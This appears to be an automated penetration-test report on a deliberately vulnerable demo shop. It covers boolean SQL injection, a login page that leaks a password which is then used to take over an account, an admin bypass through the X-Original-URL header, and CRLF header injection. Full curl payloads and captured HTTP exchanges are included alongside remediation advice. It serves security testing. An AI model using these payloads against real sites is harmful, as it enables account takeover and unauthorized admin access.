                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    

Typed proof

Kind
sqli-boolean
Parameter
query:category
Marker
Sloe Gin Timer Kit
Baseline
r44
Pair 1
true r45 · false r46
Pair 2
true r47 · false r48

Observed effect

kind
typed-proof
outcome
{"parameter":"query:category","marker":"Sloe Gin Timer Kit","baseline":{"requestId":"9a00516b-5f9c-4d0d-bd82-0e62b9f70478","markerPresent":true},"pairs":[{"trueRequestId":"6ef999e9-55e1-441c-adb1-5c632c43526b","falseRequestId":"19e46792-d3ff-429b-9cee-aa7c1bc7373c","trueMarkerPresent":true,"falseMarkerPresent":false},{"trueRequestId":"3cabd302-618f-4b09-b955-694a3f4dad46","falseRequestId":"17b0a39f-e6ae-4d41-b5ba-b58d34ed380c","trueMarkerPresent":true,"falseMarkerPresent":false}]}
version
1
signature
sqli-boolean
details
The baseline and true/false responses were checked for the marker.

Derived severity metrics

  • PR=N: credential-free attack request; credential-free attack request; credential-free attack request; credential-free attack request

GET https://ginandjuice.shop/catalog · Verified

MEDIUM

Valid account password disclosed in the login page response (POST /login)

Behavioral

The step-1 response to an unauthenticated username-only POST /login discloses the cleartext password 'hunter2' that the request did not carry; using it at step 2 yields HTTP 302 to /my-account with a new session cookie, while an identical login with a wrong value is refused (200, 'Invalid username or password'), satisfying all three confirmation requirements.

Assessment details

Automated review supports this finding; manual verification is recommended.

Severity (CVSS)

6.9 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Assessed for this target

Unauthenticated network attacker needs no interaction and no prior knowledge to read the password from the step-1 login response (PR:N/UI:N). The disclosed value authenticates to the carlos account, giving access to that account's order/account data; because the account's data content is limited to a demo user's records, VC is scored L rather than H. No integrity or availability effect was demonstrated.

Explanation

The two-step login at POST /login returns, in the step-1 response (username-only submission), a password form whose markup literally prints the account password:

[REDACTED]
<span><b>Password</b> hunter2</span>


This value is not masked, is served to unauthenticated clients, and is the correct password for the `carlos` account: submitting `username=carlos&password=[REDACTED]

Prerequisites

Confirmed: POST /login is reachable unauthenticated, requires only the per-form single-use csrf token that the server hands out on any GET /login, and its step-1 response prints the password. Confirmed: the disclosed value is accepted by step 2 and signs the session in. No authentication or special network position is required. Unknown: whether the value is specific to the carlos account or a fixed hint (it rendered identically for usernames carlos, admin and administrator), which does not change that it is a valid credential.

Reproduction steps

  1. Fresh start, no session: GET https://ginandjuice.shop/login and read the hidden csrf value from the form.
  2. Send step 1: POST /login with application/x-www-form-urlencoded body `csrf=<token>[REDACTED]<span><b>[REDACTED]</b>[REDACTED]</span>[REDACTED]<token2>[REDACTED]

Evidence

Step-1 response [r131] to POST /login with username=carlos contains the cleartext password:

<span><b>Password</b> hunter2</span>

Using that value at step 2 [r132] returned:

HTTP 302, Location: https://ginandjuice.shop/my-account

confirming the disclosed value is a valid credential and signs the session in. The same login with a wrong value [r134] returned HTTP 200 with no redirect, confirming the credential is actually validated. The CSRF token is single-use (replaying a consumed token returns HTTP 400), so each step used a freshly issued token. No reference is missing.

Recorded capture references

  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a c7244a83-3bb3-4b46-a347-d7e7c7de61d5
  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a 5bcb9a99-205c-496b-bbee-bb65fc148d13
  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a bce28f20-3085-4dec-b864-c0d094804fc2

Impact

Demonstrated: an unauthenticated attacker who can reach the login page obtains the working password for the carlos account and can log in as that user, i.e. full account takeover of that account (its orders and account details become readable and its cart/order actions performable under the victim identity). Potential: any account whose password is surfaced this way is similarly exposed; the exact privilege of the carlos account and whether it can reach the /admin area were not tested (the admin area returned 403 to the anonymous and authenticated customer session). No data was modified during this test.

Remediation

Never render passwords or password hints in responses. Remove the <span><b>Password</b> ...</span> element and any server-side code that emits credential material into the login page; keep credentials server-side and compare them with a salted password hash (for example bcrypt/argon2) rather than storing or echoing cleartext. Add response logging/alerting for pages that contain credential material. After the fix, the step-1 response should contain only the username field and the CSRF token, and no value from it should authenticate.

Evidence of record

  • Attack · r131 · c7244a83-3bb3-4b46-a347-d7e7c7de61d5
    Request
    POST https://ginandjuice.shop/login
    user-agent: curl/8.5.0
    accept: */*
    cookie: AWSALBCORS=[REDACTED]; session=[REDACTED]; AWSALB=[REDACTED]
    content-length: 53
    content-type: application/x-www-form-urlencoded
    
    csrf=%5BREDACTED%5D&username=carlos
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:05:13 GMT
    content-type: text/html; charset=utf-8
    content-length: 7843
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:05:13 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:05:13 GMT; Path=/; SameSite=None; Secure
    x-backend: 28a79102-aaf6-4284-8194-75dfac36c17b
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Login - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon selected" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="login">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Login</h1>
                        <section>
                            <form class=login-form method=POST action="/login">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <input tabindex=0 placeholder="Username" required type=hidden id="usernameInput" name="username">
                                <script>
                                    var username = 'carlos';
                                    document.getElementById('usernameInput').value = username;
                                </script>
                                <span><b>Password</b> hunter2</span>
                                <input tabindex=0 placeholder="Password" required type=password name="password" autofocus>
                                <button class=button type=submit> Log in </button>
                            </form>
                        </section>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    
  • Supporting · r132 · 5bcb9a99-205c-496b-bbee-bb65fc148d13
    Request
    POST https://ginandjuice.shop/login
    user-agent: curl/8.5.0
    accept: */*
    cookie: AWSALBCORS=[REDACTED]; session=[REDACTED]; AWSALB=[REDACTED]
    content-length: 70
    content-type: application/x-www-form-urlencoded
    
    csrf=%5BREDACTED%5D&username=carlos&password=%5BREDACTED%5D
    Response
    HTTP 302 Found
    date: Mon, 12 Oct 2026 09:05:13 GMT
    content-length: 0
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:05:13 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:05:13 GMT; Path=/; SameSite=None; Secure
    location: /my-account
    set-cookie: session=[REDACTED]; Secure; HttpOnly; SameSite=None
    x-backend: 28a79102-aaf6-4284-8194-75dfac36c17b
    x-frame-options: SAMEORIGIN
  • Supporting · r134 · bce28f20-3085-4dec-b864-c0d094804fc2
    Request
    POST https://ginandjuice.shop/login
    user-agent: curl/8.5.0
    accept: */*
    cookie: AWSALBCORS=[REDACTED]; session=[REDACTED]; AWSALB=[REDACTED]
    content-length: 76
    content-type: application/x-www-form-urlencoded
    
    csrf=%5BREDACTED%5D&username=carlos&password=%5BREDACTED%5D
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:05:14 GMT
    content-type: text/html; charset=utf-8
    content-length: 8012
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:05:14 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:05:14 GMT; Path=/; SameSite=None; Secure
    x-backend: 28a79102-aaf6-4284-8194-75dfac36c17b
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Login - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon is-logged-in selected" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg><svg><use href="/resources/images/check-circle.svg#check-circle"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/logout">Log out</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="login">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Login</h1>
                        <section>
                            <form class=login-form method=POST action="/login">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <input tabindex=0 placeholder="Username" required type=hidden id="usernameInput" name="username">
                                <script>
                                    var username = 'carlos';
                                    document.getElementById('usernameInput').value = username;
                                </script>
                                <span><b>Password</b> hunter2</span>
                                <input tabindex=0 placeholder="Password" required type=password name="password" autofocus>
                                <p class=is-warning>Invalid username or password.</p>
                                <button class=button type=submit> Log in </button>
                            </form>
                        </section>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    

Observed effect

kind
review-supported
version
1
details
The step-1 response to an unauthenticated username-only POST /login discloses the cleartext password 'hunter2' that the request did not carry; using it at step 2 yields HTTP 302 to /my-account with a new session cookie, while an identical login with a wrong value is refused (200, 'Invalid username or password'), satisfying all three confirmation requirements.

Derived severity metrics

  • PR=N: credential-free attack request

POST https://ginandjuice.shop/login · Behavioral

MEDIUM

Admin area access-control bypass via X-Original-URL on POST /catalog/cart/checkout

Behavioral

The same low-privilege session that gets 403 'Access denied' on direct GET /admin receives the admin user-management page (Users list, /admin/delete link) via X-Original-URL: /admin on a permitted endpoint on the same backend, establishing a genuine access-control bypass to the same protected resource.

Assessment details

Automated review supports this finding; manual verification is recommended.

Severity (CVSS)

6.9 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Assessed for this target

A low-privilege authenticated user (carlos) reaches the admin-only user-management page by adding an X-Original-URL header to a request to a permitted endpoint. Impact is limited to confidential user listing and the ability to delete other users (account/permission state).

Explanation

The reverse proxy/front controller honours the X-Original-URL request header and routes the request to that internal path while the access-control decision is still applied to the outer request path/route. A request to the allowed, non-admin endpoint POST /catalog/cart/checkout carrying X-Original-URL: /admin is served by the /admin handler and returns the admin user-management page (HTTP 200), whereas a direct request to /admin is refused with HTTP 403 "Access denied". The bypass therefore exposes the admin area to any authenticated low-privilege user and exposes the user-management action /admin/delete?username=<user>.

Prerequisites

Confirmed: a valid low-privilege authenticated session (login POST /login with a username and password; the low-privilege account used here is the shop's hinted account) and a valid CSRF token for the wrapping form. Confirmed: the X-Original-URL header is accepted and honoured. No admin credential is required.

Reproduction steps

  1. Obtain a low-privilege session: GET /login, extract the hidden csrf value, then POST /login with username=<low-priv user> and password=<password>; keep the returned session cookie.
  2. Confirm the boundary: send GET /admin with the session cookie. Expected result: HTTP 403 with body "Access denied".
  3. Bypass: GET /catalog/cart, extract the csrf token from the checkout form, then send POST /catalog/cart/checkout with header X-Original-URL: /admin and body `csrf=<token>[REDACTED]<h1>Users</h1>[REDACTED]

Evidence

Control (direct request, refused), captured as [r157]:

GET /admin HTTP/2
Cookie: [REDACTED]<redacted>

HTTP/2 403
x-backend: 43e98f03-700e-4d12-841c-74aea6d448bb

"Access denied"

Bypass (same session, permitted outer endpoint with routing header), captured as [r159]:

POST /catalog/cart/checkout HTTP/2
Cookie: [REDACTED]<redacted>
X-Original-URL: /admin
Content-Type: application/x-www-form-urlencoded

csrf=<redacted>&probe=av_2c1150c62801ad47
HTTP/2 200
x-backend: 43e98f03-700e-4d12-841c-74aea6d448bb

... <h1>Users</h1> ... carlos - ... <a href="/admin/delete?username=carlos">Delete</a> ...

Both responses came from the same backend instance, and both requests used the identical low-privilege credential context. The string Users appears only in the bypass response and Access denied only in the control response.

Recorded capture references

  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a e282ddbb-2943-4f69-b811-180fb59c06a3
  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a b23c8b27-816f-42a4-83d6-c2f88b50dedd

Impact

Demonstrated: an authenticated non-admin user can read the admin user-management page and obtain the user-deletion action, reaching administrative functionality that the application explicitly refuses on the direct path. Reading the user list discloses account names; the exposed /admin/delete?username= action is a state-changing administrative operation that could allow account/permission tampering and denial of service against other users. Confidentiality and integrity of account/permission state are affected at low scope.

Remediation

Do not trust client-supplied routing headers. Configure the reverse proxy/front controller to strip X-Original-URL, X-Rewrite-URL, X-Forwarded-Prefix (and similar) from inbound requests, and enforce authorization on the resolved backend route rather than the outer path. After the fix, POST /catalog/cart/checkout with X-Original-URL: /admin must return the normal checkout behaviour and must never return the admin page, while GET /admin continues to return 403 for non-admin users.

Evidence of record

  • normalDeniedId · r157 · e282ddbb-2943-4f69-b811-180fb59c06a3
    Request
    GET https://ginandjuice.shop/admin
    user-agent: curl/8.5.0
    accept: */*
    cookie: AWSALBCORS=[REDACTED]; session=[REDACTED]; AWSALB=[REDACTED]
    Response
    HTTP 403 Forbidden
    date: Mon, 12 Oct 2026 09:05:39 GMT
    content-type: application/json; charset=utf-8
    content-length: 15
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:05:39 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:05:39 GMT; Path=/; SameSite=None; Secure
    x-backend: 43e98f03-700e-4d12-841c-74aea6d448bb
    x-frame-options: SAMEORIGIN
    
    "Access denied"
  • bypassId · r159 · b23c8b27-816f-42a4-83d6-c2f88b50dedd
    Request
    POST https://ginandjuice.shop/catalog/cart/checkout
    user-agent: curl/8.5.0
    accept: */*
    cookie: AWSALBCORS=[REDACTED]; session=[REDACTED]; AWSALB=[REDACTED]
    x-original-url: /admin
    content-length: 63
    content-type: application/x-www-form-urlencoded
    
    csrf=%5BREDACTED%5D&probe=av_2c1150c62801ad47
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:05:39 GMT
    content-type: text/html; charset=utf-8
    content-length: 7380
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:05:39 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:05:39 GMT; Path=/; SameSite=None; Secure
    cache-control: no-cache
    x-backend: 43e98f03-700e-4d12-841c-74aea6d448bb
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labs.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon is-logged-in" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg><svg><use href="/resources/images/check-circle.svg#check-circle"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/logout">Log out</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>5</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <section>
                            <h1>Users</h1>
                            <div>
                                <span>carlos - </span>
                                <a href="/admin/delete?username=carlos">Delete</a>
                            </div>
                        </section>
                        <br>
                        <hr>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    

Typed proof

Kind
auth-access
Normal denied
r157
Bypass
r159
Resource URL
https://ginandjuice.shop/admin
Resource marker
Users
Refusal marker
Access denied

Observed effect

kind
review-supported
version
1
details
The same low-privilege session that gets 403 'Access denied' on direct GET /admin receives the admin user-management page (Users list, /admin/delete link) via X-Original-URL: /admin on a permitted endpoint on the same backend, establishing a genuine access-control bypass to the same protected resource.

Derived severity metrics

  • PR=N: credential-free attack request

GET https://ginandjuice.shop/admin · Behavioral

MEDIUM

CRLF injection and HTTP response header splitting via the category parameter on GET /catalog

Behavioral

The attack exchange (r71) shows the CRLF sequence in the category parameter producing a distinct injected x-crlf-probe response header absent from the control, establishing concrete CRLF/header-injection exploitation with the cited response-splitting and Set-Cookie injection as supporting impact.

Assessment details

Automated review supports this finding; manual verification is recommended.

Severity (CVSS)

6.9 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Assessed for this target

Unauthenticated, network-reachable header injection with no special conditions. Demonstrated impact is injection of arbitrary response headers and Set-Cookie values (integrity of the HTTP response), so integrity is Low. Confidentiality and availability are not demonstrated; escalation to stored/cached XSS or session fixation depends on the victim and any caching layer and was not proven.

Explanation

The category query parameter of GET /catalog is copied verbatim into the value of a Set-Cookie response header (set-cookie: [REDACTED]<value>; Secure; HttpOnly). CR (%0d) and LF (%0a) sequences in the parameter are not stripped, so an attacker can terminate the Set-Cookie header and inject arbitrary additional response headers. A double CRLF sequence additionally terminates the header block, and the injected content is emitted as a separate header section (HTTP response splitting); over the HTTP/2 connection used by the client this manifests as injected headers/trailers rather than a replaced body.

The same endpoint also accepts category as a SQL injection vector, so the parameter is unvalidated in two distinct ways; this finding covers only the header-injection behaviour.

Prerequisites

Confirmed: /catalog is public and needs no authentication. Confirmed: the category value is reflected into a Set-Cookie header and %0d%0a sequences are accepted and passed through, producing a separate header line. Confirmed: a double %0d%0a%0d%0a splits the response header block. Unknown: whether any intermediary (CDN/cache) in front of the ALB caches /catalog responses, which would be required to turn header injection into cache poisoning; no cache headers were observed on the responses. Unmet: turning cookie injection into session fixation requires a victim to visit the crafted URL, and the app independently sets its own session cookie.

Reproduction steps

Fresh start: no credentials or state. Use a client that shows raw response headers (curl -D -).

  1. Baseline. Confirm the parameter is echoed into a Set-Cookie header:
curl -sk -D - -o /dev/null "https://ginandjuice.shop/catalog?category=Gin" | grep -i "set-cookie: category"

Expected: set-cookie: category=Gin; Secure; HttpOnly.

  1. Inject a header. Encode \r\n as %0d%0a:
curl -sk -D - -o /dev/null "https://ginandjuice.shop/catalog?category=Gin%0d%0aX-Crlf-Probe:pmc7a3d91e" | grep -i "x-crlf-probe\|set-cookie: category"

Expected: a new, separate header line x-crlf-probe: pmc7a3d91e; Secure; HttpOnly alongside `set-cookie: [REDACTED]

  1. Escalate to response splitting with a double CRLF, injecting arbitrary headers:
curl -sk -D - "https://ginandjuice.shop/catalog?category=Gin%0d%0aSet-Cookie:%20injected=1%3b%20Path=/%3b%20HttpOnly"

Expected: the response contains both set-cookie: category=Gin and an injected set-cookie: injected=1; Path=/; HttpOnly.

Cleanup: none — read-only GETs, no server-side state. Any cookies the attacker injected are held by the client and can be discarded.

Evidence

Control (alias r72): only the application's own cookie header, no injected header.

GET /catalog?category=Gin HTTP/2
Host: ginandjuice.shop
HTTP/2 200
set-cookie: [REDACTED]; Secure; HttpOnly
x-backend: d042b2b2-666f-4720-94db-1a77a565c5b9
x-frame-options: SAMEORIGIN

Attack (alias r71): the injected CRLF produced a separate header line.

GET /catalog?category=Gin%0d%0aX-Crlf-Probe:pmc7a3d91e HTTP/2
Host: ginandjuice.shop
HTTP/2 200
set-cookie: [REDACTED]
x-crlf-probe: pmc7a3d91e; Secure; HttpOnly
x-backend: c99cc9c7-9997-4247-90b0-cc6683d4c8c9
